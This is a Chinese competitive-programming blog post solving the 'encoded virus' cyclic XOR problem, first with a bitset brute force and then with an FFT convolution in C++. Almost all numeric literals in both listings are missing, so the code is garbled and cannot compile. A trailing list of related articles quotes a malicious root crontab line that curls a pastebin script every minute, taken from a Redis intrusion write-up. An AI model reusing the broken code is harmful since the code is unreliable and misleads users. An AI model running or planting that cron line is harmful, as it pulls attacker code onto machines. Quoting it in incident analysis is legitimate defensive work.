题意看起来好麻烦实际上很简单,首先4s可以先bitset暴力一下,听说卡卡就能过:$O(2^{22}+n^2/32)$

 #include<cstdio>
#include<bitset>
#include<cstring>
#include<algorithm>
#define rep(i,l,r) for (int i=l; i<=r; i++)
using namespace std; const int N=,inf=0x3f3f3f3f;
bitset<N>data,test;
int n,m,ans,cost[N],cnt[];
char s[N]; int main(){
freopen("virus.in","r",stdin);
freopen("virus.out","w",stdout);
scanf("%d%d",&m,&n); int t=(<<m)-; ans=inf;
memset(cost,0x3f,sizeof(cost)); cost[]=;
rep(i,,t){
cnt[i]=cnt[i>>]+(i&);
cost[i%n]=min(cost[i%n],cnt[i]+);
cost[((n-i)%n+n)%n]=min(cost[((n-i)%n+n)%n],cnt[i]);
}
scanf("%s",s); rep(i,,n) data[i]=s[i]=='';
scanf("%s",s); rep(i,,n) test[i]=s[i]=='';
for (int i=; i<n; i++){
if (i) { int j=data[]; data>>=; data[n-]=j; }
int j=(data^test).count();
ans=min(ans,min(j,n-j+)+cost[i]);
}
printf("%d\n",ans);
return ;
}

然后我们观察一下我们的这个暴力到底在做什么事情,发现后面的主循环实际上就是一个类似循环卷积的问题,我们要把它变成真正的卷积。

观察异或真值表:

0 0 0

0 1 1

1 0 1

1 1 0

我们变换一下:把a中0位上的值变成-1,1位上的值变成1,b中相反,于是就有:

0 0 1

0 1 -1

1 0 -1

1 1 1

最后我们将所有结果加1,再除以2,就变成上面的那个表了,这就成功将循环异或变成了循环卷积,直接做即可。

 #include<cmath>
#include<cstdio>
#include<complex>
#include<cstring>
#include<algorithm>
#define rep(i,l,r) for (int i=l; i<=r; i++)
using namespace std;
typedef complex<double> C;
const int N=,inf=0x3f3f3f3f;
const double pi=acos(-.);
char s[N];
int n,m,k,ans,cost[N],rev[N],cnt[],data[N],test[N],c[N]; C a[N],b[N]; void DFT(C a[],int n,int f){
for (int i=; i<n; i++) if (i<rev[i]) swap(a[i],a[rev[i]]);
for (int i=; i<n; i<<=){
C wn=C(cos(pi/i),f*sin(pi/i));
for (int p=i<<,j=; j<n; j+=p){
C w=C(,);
for (int k=; k<i; k++,w=w*wn){
C x=a[j+k],y=a[i+j+k]*w; a[j+k]=x+y; a[i+j+k]=x-y;
}
}
}
if (f==-) for (int i=; i<n; i++) a[i].real()/=n;
} void mul(int test[],int data[],int res[],int m){
int n,L=;
for (n=; n<=m; n<<=) L++;
for (int i=; i<n; i++) rev[i]=(rev[i>>]>>)|((i&)<<(L-));
for (int i=; i<n; i++) a[i]=C((double)test[i],),b[i]=C((double)data[i],);
DFT(a,n,); DFT(b,n,); for (int i=; i<n; i++) a[i]=a[i]*b[i]; DFT(a,n,-);
m/=; for (int i=; i<m; i++) res[i]=int(a[i+m-].real()+0.5);
} int main(){
freopen("virus.in","r",stdin);
freopen("virus.out","w",stdout);
scanf("%d%d",&m,&n); int t=(<<m)-; ans=inf;
memset(cost,0x3f,sizeof(cost)); cost[]=;
rep(i,,t){
cnt[i]=cnt[i>>]+(i&);
cost[i%n]=min(cost[i%n],cnt[i]+);
cost[((n-i)%n+n)%n]=min(cost[((n-i)%n+n)%n],cnt[i]);
}
scanf("%s",s); for (int i=; i<n; i++) data[i]=data[i+n]=((s[i]=='')?:-);
scanf("%s",s); for (int i=; i<n; i++) test[n-i-]=((s[i]=='')?:-);
mul(test,data,c,*n);
for (int i=; i<n; i++) k=(c[i]+n)>>,ans=min(ans,cost[i]+min(k+,n-k));
printf("%d\n",ans);
return ;
}

[Nescafé41]编码病毒(循环卷积)的更多相关文章

  1. AHOI2018训练日程(3.10~4.12)

    (总计:共90题) 3.10~3.16:17题 3.17~3.23:6题 3.24~3.30:17题 3.31~4.6:21题 4.7~4.12:29题 ZJOI&&FJOI(6题) ...

  2. 病毒四度升级:安天AVL Team揭露一例跨期两年的电信诈骗进化史

    自2014年9月起,安天AVL移动安全团队持续检测到一类基于Android移动平台的间谍类病毒,病毒样本大多伪装成名为"最高人民检察院"的应用.经过反编译逆向分析以及长期的跟踪调查 ...

  3. Atitit.木马病毒自动启动-------------win7计划任务的管理

    Atitit.木马病毒自动启动-------------win7计划任务的管理 1. 计划任务的Windows系统中取代AT 的schtasks命令1 2. Win本身的系统计划任务列表1 2.1.  ...

  4. Atitit.病毒木马的快速扩散机制原理nio 内存映射MappedByteBuffer

    Atitit.病毒木马的快速扩散机制原理nio 内存映射MappedByteBuffer 1. Java NIO(New Input/Output)1 1.1. 变更通知(因为每个事件都需要一个监听者 ...

  5. html-----018----HTML Web Server/HTML URL 字符编码

    HTML Web Server 如果希望向世界发布您的网站,那么您必须把它存放在 web 服务器上. 托管自己的网站 在自己的服务器上托管网站始终是一个选项.有几点需要考虑: 硬件支出 如果要运行“真 ...

  6. 基于Linux系统的病毒

    虽然在Linux里传播的病毒不多,但也是存在一些,我从一些安全网站搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统: ...

  7. 安全威胁无孔不入:基于Linux系统的病毒(转)

    虽然在Linux里传播的病毒不多,但也是存在一些.我从一些安全网站搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统: ...

  8. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  9. 记一次redis病毒分析笔记

    起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...

随机推荐

  1. 关于scala 集合 List Map Set

    1,数组 2,List,ListBuffer 3, Map , mutable.Map

  2. 【HNOI】 小A的树 tree-dp

    [题目描述]给定一颗树,每个点有各自的权值,任意选取两个点,要求算出这两个点路径上所有点的and,or,xor的期望值. [数据范围]n<=10^5 首先期望可以转化为求树上所有点对的and,o ...

  3. Composer 手动安装

    Linux/Mac 环境 sudo wget -O /usr/local/bin/composer https://dl.laravel-china.org/composer.phar sudo ch ...

  4. 数据库===轻量级mysql数据库管理工具

    已经上传至: https://download.csdn.net/download/bo_mask/10276952

  5. abp 调试

    概要 研究Abp(ASP.NET Boilerplate)框架有几个月了,从一遍遍的看官方文档,到现在看源码,一路走来学习了很多知识. 很多新手都很关心源码如何调试,我也是如此,在反复看Debuggi ...

  6. freemark基础知识

    前言:使用freemarker对应生成一个html文件,保存到磁盘,访问文件就不一定使用tomcat,可以使用nginx(http服务器)访问.可以使用freemaker工具生成.只生成一次,html ...

  7. centos 6 编译安装php-5.4/5.5(lamp模式)

    在安装LAMP架构时,我们常用php-5.3的版本 现进行php-5.4/5.5的编译安装演示: [root@localhost ~]# cd /usr/local/src [root@localho ...

  8. 【linux】crontab定时命令

    参考来源: http://blog.csdn.net/ariessurfer/article/details/7459183 http://www.jb51.net/LINUXjishu/19905. ...

  9. OpenCL学习笔记(一):摩尔定律,异构计算与OpenCL初印象

    欢迎转载,转载请注明:本文出自Bin的专栏blog.csdn.net/xbinworld.  技术交流QQ群:433250724,欢迎对算法.技术.应用感兴趣的同学加入. 关于摩尔定律: 摩尔定律19 ...

  10. redis之(二十)redis的总结一

    1 什么是Redis Redis(REmote DIctionary Server,远程数据字典服务器)是开源的内存数据库,常用作缓存或者消息队列. Redis的特点: Redis存在于内存,使用硬盘 ...